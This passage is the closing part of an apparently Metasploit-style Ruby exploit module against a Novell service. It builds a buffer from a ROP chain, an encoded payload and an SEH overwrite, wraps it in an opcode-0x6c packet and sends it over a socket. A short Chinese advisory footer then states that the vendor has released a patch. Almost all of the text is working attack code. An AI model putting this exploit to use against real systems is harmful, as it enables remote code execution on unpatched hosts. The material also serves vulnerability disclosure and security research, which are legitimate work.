buf5 = rand_text(target['OffsetRop'])
buf5 << create_rop_chain
buf5 << payload.encoded
buf5 << rand_text(target['Offset'] - buf5.length)
buf5 << generate_seh_record(target.ret)
buf5 << rand_text(target['OffsetBottomStack'] - buf4.length)
my_buf = ""
buf5.unpack("C*").each {|b|
my_buf << [b].pack("C")
my_buf << rand_text(1)
}
packet = [0x6c].pack("N") # Opcode 0x6c
packet << [buf.length].pack("N") # Length
packet << buf # Value
packet << [buf2.length].pack("N") # Length
packet << buf2 # Value
packet << [buf3.length].pack("N") # Length
packet << buf3 # Value
packet << [buf4.length].pack("N") # Length
packet << buf4 # Value
packet << [my_buf.length].pack("N") # Length
packet << my_buf # Value
sock.put(packet)
disconnect
end
end
建议:
--------------------------------------------------------------------------------
厂商补丁:
Novell
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: